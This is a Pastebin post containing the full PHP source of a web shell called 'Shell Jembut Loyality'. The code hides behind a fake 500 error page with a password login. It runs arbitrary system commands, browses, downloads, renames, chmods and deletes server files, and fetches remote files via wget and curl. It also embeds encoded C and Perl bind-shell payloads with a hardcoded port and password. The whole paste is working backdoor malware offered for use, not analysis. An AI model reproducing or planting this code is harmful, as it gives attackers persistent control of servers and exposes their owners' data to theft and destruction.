API tools faq
paste
EddieKidiw

Shell Jembut Loyality decoder By Eddie Kidiw

EddieKidiw
Mar 18th, 2016
756
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 269.03 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. /***
  3. Shell Jembut Loyality decoder
  4. Default password: bangsat
  5. Demo: http://i.imgur.com/ROVi5dP.png
  6. Source original: http://pastebin.com/4Y7cDeYb
  7. Source decoder: http://pastebin.com/4Y7cDeYb
  8. ***/
  9.  
  10. # Jembut Loyality!
  11. # Kapaljetz666 !
  12. # Wassalam
  13.  
  14.  
  15. @ini_set('output_buffering',0);
  16. @ini_set('display_errors', 0);
  17. $auth_pass="528f980649c80a7269402447b51e815a";
  18. @session_start();
  19. @error_reporting(0);
  20. @ini_set('error_log',NULL);
  21. @ini_set('log_errors',0);
  22. @ini_set('html_errors',0);
  23. @ini_set('max_execution_time',0);
  24. @ini_set('output_buffering',0);
  25. @ini_set('display_errors', 0);
  26. @ini_set('file_uploads',1);
  27. @set_time_limit(0);
  28. @set_magic_quotes_runtime(0);
  29. @clearstatcache();
  30. @define('VERSION', '2.1');
  31. if( get_magic_quotes_gpc() ) {
  32. function stripslashes_array($array) {
  33. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  34. }
  35. $_POST = stripslashes_array($_POST);
  36. }
  37. function printLogin() {
  38. ?>
  39. <title>500 Internal Server Error</title>
  40. <h1>Internal Server Error</h1>
  41. <p>The server encountered an internal error or
  42. misconfiguration and was unable to complete
  43. your request.</p>
  44. <p>Please contact the server administrator Kapaljetz666 and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p>
  45. <p>More information about this error may be available in the server error log.</p>
  46. <p>Additionally, a 500 Internal Server Error error was encountered while trying to use an ErrorDocument to handle the request.</p>
  47. <style>
  48. input { margin:0;background-color:#fff;border:1px solid #fff; }
  49. </style>
  50. <pre align=center>
  51. <form method=post>
  52. <input type=password name=pass>
  53. </form></pre>
  54.  
  55. <?php
  56. exit;
  57. }
  58. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  59. if( empty( $auth_pass ) ||
  60. ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  61. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  62. else
  63. printLogin();
  64.  
  65. if(isset($_GET['dl']) && ($_GET['dl'] != "")){
  66. $file = $_GET['dl'];
  67. $filez = @file_get_contents($file);
  68. header("Content-type: application/octet-stream");
  69. header("Content-length: ".strlen($filez));
  70. header("Content-disposition: attachment; filename=\"".basename($file)."\";");
  71. echo $filez;
  72. exit;
  73. }
  74. elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
  75. $file = $_GET['dlgzip'];
  76. $filez = gzencode(@file_get_contents($file));
  77. header("Content-Type:application/x-gzip\n");
  78. header("Content-length: ".strlen($filez));
  79. header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
  80. echo $filez;
  81. exit;
  82. }
  83. // view image
  84. if(isset($_GET['img'])){
  85. @ob_clean();
  86. $d = magicboom($_GET['y']);
  87. $f = $_GET['img'];
  88. $inf = @getimagesize($d.$f);
  89. $ext = explode($f,".");
  90. $ext = $ext[count($ext)-1];
  91. @header("Content-type: ".$inf["mime"]);
  92. @header("Cache-control: public");
  93. @header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  94. @header("Cache-control: max-age=".(60*60*24*7));
  95. @readfile($d.$f);
  96. exit;
  97. }
  98.  
  99. // server software
  100. $software = getenv("SERVER_SOFTWARE");
  101. // check safemode
  102. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
  103. // uname -a
  104. $system = @php_uname();
  105. // mysql
  106. function showstat($stat) {if ($stat=="on") {return "<b><font style='color:white'>ON</font></b>";}else {return "<b><font style='color:#DD4736'>OFF</font></b>";}}
  107. function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
  108. function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
  109. function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
  110. function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
  111. // check os
  112. if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
  113. else $win = FALSE;
  114. // change directory
  115. if(isset($_GET['y'])){
  116. if(@is_dir($_GET['view'])){
  117. $pwd = $_GET['view'];
  118. @chdir($pwd);
  119. }
  120. else{
  121. $pwd = $_GET['y'];
  122. @chdir($pwd);
  123. }
  124. }
  125. //hdd
  126. function convertByte($s) {
  127. if($s >= 1073741824)
  128. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  129. elseif($s >= 1048576)
  130. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  131. elseif($s >= 1024)
  132. return sprintf('%1.2f',$s / 1024 ) .' KB';
  133. else
  134. return $s .' B';
  135. }
  136.  
  137. // username, id, shell prompt and working directory
  138. if(!$win){
  139. if(!$user = rapih(exe("whoami"))) $user = "";
  140. if(!$id = rapih(exe("id"))) $id = "";
  141. $prompt = $user." \$ ";
  142. $pwd = @getcwd().DIRECTORY_SEPARATOR;
  143. }
  144. else {
  145. $user = @get_current_user();
  146. $id = $user;
  147. $prompt = $user." &gt;";
  148. $pwd = realpath(".")."\\";
  149. // find drive letters
  150. $v = explode("\\",$d);
  151. $v = $v[0];
  152. foreach (range("A","Z") as $letter)
  153. {
  154. $bool = @is_dir($letter.":\\");
  155. if ($bool)
  156. {
  157. $letters .= "<a href=\"?y=".$letter.":\\\">[ ";
  158. if ($letter.":" != $v) {$letters .= $letter;}
  159. else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
  160. $letters .= " ]</a> ";
  161. }
  162. }
  163. }
  164.  
  165. function testoracle() {
  166. if (function_exists('ocilogon')) { return showstat("on"); }
  167. else { return showstat("off"); }
  168. }
  169.  
  170. function testmssql() {
  171. if (function_exists('mssql_connect')) { return showstat("on"); }
  172. else { return showstat("off"); }
  173. }
  174.  
  175. function showdisablefunctions() {
  176. if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
  177. else { return "<span style='color:#00FF1E'><b>NONE</b></span>"; }
  178. }
  179.  
  180. if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
  181. else $posix = FALSE;
  182. // server ip
  183. $server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
  184. // your ip ;-)
  185. $my_ip = $_SERVER['REMOTE_ADDR'];
  186. $admin_id=$_SERVER['SERVER_ADMIN'];
  187. $bindport = "13123";
  188. $bindport_pass = "asd123";
  189. //server port
  190. $serverport = $_SERVER["SERVER_PORT"];
  191.  
  192. // separate the working direcotory
  193. $pwds = explode(DIRECTORY_SEPARATOR,$pwd);
  194. $pwdurl = "";
  195. for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
  196. $pathz = "";
  197. for($j = 0 ; $j <= $i ; $j++){
  198. $pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
  199. }
  200. $pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
  201. }
  202.  
  203. // rename file or folder
  204. if(isset($_POST['rename'])){
  205. $old = $_POST['oldname'];
  206. $new = $_POST['newname'];
  207. @rename($pwd.$old,$pwd.$new);
  208. $file = $pwd.$new;
  209. }
  210. if(isset($_POST['chmod'])){
  211. $name = $_POST['name'];
  212. $value = $_POST['newvalue'];
  213. if (strlen($value)==3){
  214. $value = 0 . "" . $value;}
  215. @chmod($pwd.$name,octdec($value));
  216. $file = $pwd.$name;}
  217.  
  218. if(isset($_POST['chmod_folder'])){
  219. $name = $_POST['name'];
  220. $value = $_POST['newvalue'];
  221. if (strlen($value)==3){
  222. $value = 0 . "" . $value;}
  223. @chmod($pwd.$name,octdec($value));
  224. $file = $pwd.$name;}
  225.  
  226.  
  227. // print useful info
  228. $buff = "Software : <b>".$software."</b><br />";
  229. $buff .= "System OS : <b>".$system."</b><br />";
  230. if($id != "") $buff .= "ID : <b>".$id."</b><br />";
  231. $buff .= "PHP Version : <b><font style='color:#ff0000'>".phpversion()."</b></font> on <b>".php_sapi_name()."</b><br />";
  232. $buff .= "Server ip : <b><font style='color:#ff0000'>".$server_ip."</font></b> <span class=\"gaya\"> | </span> Server Port : <b><font style='color:#ff0000'>".$serverport."</font><b> <span class=\"gaya\"> | </span>
  233. Your ip : <b><font style='color:#ff0000'>".$my_ip."</font></b><span class=\"gaya\"> | </span> Admin : <b><font style='color:white'>".$admin_id."</font></b><br />";
  234. $buff .= "Free Disk: "."<span style='color:#00FF1E'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />";
  235. if($safemode) $buff .= "Safemode: <span class=\"gaya\"><b><font style='color:#ff0000'>ON</font></b></span><br />";
  236. else $buff .= "Safemode: <span class=\"gaya\"><b><font style='color:red'>OFF</b></font></span><br />";
  237. $buff .=" Time On Server : <b> ".date("d M Y H:i:s",time());
  238. $buff .= "<br> Disabled Functions: ".showdisablefunctions()."<br />";
  239. $buff .= "MySQL: ".testmysql()."&nbsp;|&nbsp;MSSQL: ".testmssql()."&nbsp;|&nbsp;Oracle: ".testoracle()."&nbsp;|&nbsp;Perl: ".testperl()."&nbsp;|&nbsp;cURL: ".testcurl()."&nbsp;|&nbsp;WGet: ".testwget()."<br>";
  240. $buff .= "<font color=00ff00 ><b>".$letters."&nbsp;&gt;&nbsp;".$pwdurl."</b></font>";
  241. $injbuff = " gw mah gak main logger bro slow :)";
  242. eval(base64_decode($injbuff));
  243.  
  244.  
  245.  
  246.  
  247. function rapih($text){
  248. return trim(str_replace("<br />","",$text));
  249. }
  250.  
  251. function magicboom($text){
  252. if (!get_magic_quotes_gpc()) {
  253. return $text;
  254. }
  255. return stripslashes($text);
  256. }
  257.  
  258. function showdir($pwd,$prompt){
  259. $fname = array();
  260. $dname = array();
  261. if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
  262. else $posix = FALSE;
  263. $user = "????:????";
  264. if($dh = @scandir($pwd)){
  265. foreach($dh as $file){
  266. if(is_dir($file)){
  267. $dname[] = $file;
  268. }
  269. elseif(is_file($file)){
  270. $fname[] = $file;
  271. }
  272. }
  273. }
  274. else{
  275. if($dh = @opendir($pwd)){
  276. while($file = @readdir($dh)){
  277. if(@is_dir($file)){
  278. $dname[] = $file;
  279. }
  280. elseif(@is_file($file)){
  281. $fname[] = $file;
  282. }
  283. }
  284. @closedir($dh);
  285. }
  286. }
  287.  
  288.  
  289. sort($fname);
  290. sort($dname);
  291. $path = @explode(DIRECTORY_SEPARATOR,$pwd);
  292. $tree = @sizeof($path);
  293. $parent = "";
  294. $buff = "
  295. <form action=\"?y=".$pwd."&amp;x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
  296. <table class=\"cmdbox\" style=\"width:50%;\">
  297. <tr><td><b>$prompt</b></td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
  298. </form>
  299. <form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
  300. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  301. <tr><td><b>view file/folder</b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"View !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
  302. </form></table><table class=\"explore\">
  303. <tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
  304. ";
  305. if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
  306. else $parent = $pwd;
  307.  
  308. foreach($dname as $folder){
  309. if($folder == ".") {
  310. if(!$win && $posix){
  311. $name=@posix_getpwuid(@fileowner($folder));
  312. $group=@posix_getgrgid(@filegroup($folder));
  313. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  314. }
  315. else {
  316. $owner = $user;
  317. }
  318. $buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td>
  319. <td style=\"text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
  320. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
  321. <a href=\"?y=$pwd&amp;edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
  322. <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  323. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  324. <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
  325. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
  326. </form></td>
  327.  
  328. </tr>
  329. ";
  330. }
  331. elseif($folder == "..") {
  332. if(!$win && $posix){
  333. $name=@posix_getpwuid(@fileowner($folder));
  334. $group=@posix_getgrgid(@filegroup($folder));
  335. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  336. }
  337. else {
  338. $owner = $user;
  339. }
  340. $buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'> $folder</a></td><td>LINK</td>
  341. <td style=\"text-align:center;\">".$owner."</td>
  342. <td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
  343. <td><span id=\"titik2\"><a href=\"?y=$pwd&amp;edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
  344. <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  345. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  346. <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
  347. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
  348. </form>
  349. </td></tr>";
  350. }
  351. else {
  352. if(!$win && $posix){
  353. $name=@posix_getpwuid(@fileowner($folder));
  354. $group=@posix_getgrgid(@filegroup($folder));
  355. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  356. }
  357. else {
  358. $owner = $user;
  359. }
  360. $buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ $folder ]</b></a>
  361. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  362. <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
  363. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
  364. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  365. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
  366. </form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td>
  367. <td><center>
  368. <a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
  369. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  370. <input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
  371. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" />
  372. <input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
  373. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
  374. onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td>
  375. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;fdelete=".$pwd.$folder."\">delete</a></td></tr>";
  376. }
  377. }
  378.  
  379. foreach($fname as $file){
  380. $full = $pwd.$file;
  381. if(!$win && $posix){
  382. $name=@posix_getpwuid(@fileowner($folder));
  383. $group=@posix_getgrgid(@filegroup($folder));
  384. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  385. }
  386. else {
  387. $owner = $user;
  388. }
  389. $buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&amp;view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</b></a>
  390. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  391. <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
  392. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
  393. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  394. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
  395. </form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
  396. <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
  397. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  398. <input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
  399. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
  400. <input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
  401. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
  402. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
  403. <td><a href=\"?y=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$full\">delete</a> | <a href=\"?y=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">gzip</a>)</td></tr>";
  404. }
  405. $buff .= "</table>";
  406. return $buff;
  407. }
  408.  
  409. function ukuran($file){
  410. if($size = @filesize($file)){
  411. if($size <= 1024) return $size;
  412. else{
  413. if($size <= 1024*1024) {
  414. $size = @round($size / 1024,2);;
  415. return "$size kb";
  416. }
  417. else {
  418. $size = @round($size / 1024 / 1024,2);
  419. return "$size mb";
  420. }
  421. }
  422. }
  423. else return "???";
  424. }
  425.  
  426. function exe($cmd){
  427. if(function_exists('system')) {
  428. @ob_start();
  429. @system($cmd);
  430. $buff = @ob_get_contents();
  431. @ob_end_clean();
  432. return $buff;
  433. }
  434. elseif(function_exists('exec')) {
  435. @exec($cmd,$results);
  436. $buff = "";
  437. foreach($results as $result){
  438. $buff .= $result;
  439. }
  440. return $buff;
  441. }
  442. elseif(function_exists('passthru')) {
  443. @ob_start();
  444. @passthru($cmd);
  445. $buff = @ob_get_contents();
  446. @ob_end_clean();
  447. return $buff;
  448. }
  449. elseif(function_exists('shell_exec')){
  450. $buff = @shell_exec($cmd);
  451. return $buff;
  452. }
  453. }
  454.  
  455. function tulis($file,$text){
  456. $textz = gzinflate(base64_decode($text));
  457. if($filez = @fopen($file,"w"))
  458. {
  459. @fputs($filez,$textz);
  460. @fclose($file);
  461. }
  462. }
  463.  
  464. function ambil($link,$file) {
  465. if($fp = @fopen($link,"r")){
  466. while(!feof($fp)) {
  467. $cont.= @fread($fp,1024);
  468. }
  469. @fclose($fp);
  470. $fp2 = @fopen($file,"w");
  471. @fwrite($fp2,$cont);
  472. @fclose($fp2);
  473. }
  474. }
  475.  
  476. function which($pr){
  477. $path = exe("which $pr");
  478. if(!empty($path)) { return trim($path); } else { return trim($pr); }
  479. }
  480.  
  481. function download($cmd,$url){
  482. $namafile = basename($url);
  483. switch($cmd) {
  484. case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
  485. case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
  486. case 'wfread' : ambil($wurl,$namafile);break;
  487. case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
  488. case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
  489. case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
  490. case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
  491. default: break;
  492. }
  493. return $namafile;
  494. }
  495.  
  496. function get_perms($file)
  497. {
  498. if($mode=@fileperms($file)){
  499. $perms='';
  500. $perms .= ($mode & 00400) ? 'r' : '-';
  501. $perms .= ($mode & 00200) ? 'w' : '-';
  502. $perms .= ($mode & 00100) ? 'x' : '-';
  503. $perms .= ($mode & 00040) ? 'r' : '-';
  504. $perms .= ($mode & 00020) ? 'w' : '-';
  505. $perms .= ($mode & 00010) ? 'x' : '-';
  506. $perms .= ($mode & 00004) ? 'r' : '-';
  507. $perms .= ($mode & 00002) ? 'w' : '-';
  508. $perms .= ($mode & 00001) ? 'x' : '-';
  509. return $perms;
  510. }
  511. else return "??????????";
  512. }
  513.  
  514. function clearspace($text){
  515. return str_replace(" ","_",$text);
  516. }
  517.  
  518.  
  519. // net tools
  520. $port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf
  521. +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE
  522. P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ
  523. dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
  524. 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug
  525. Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
  526. HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W
  527. tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
  528. ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6
  529. uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
  530. $port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
  531. NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg
  532. tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
  533. e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0
  534. LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
  535. vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB
  536. +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
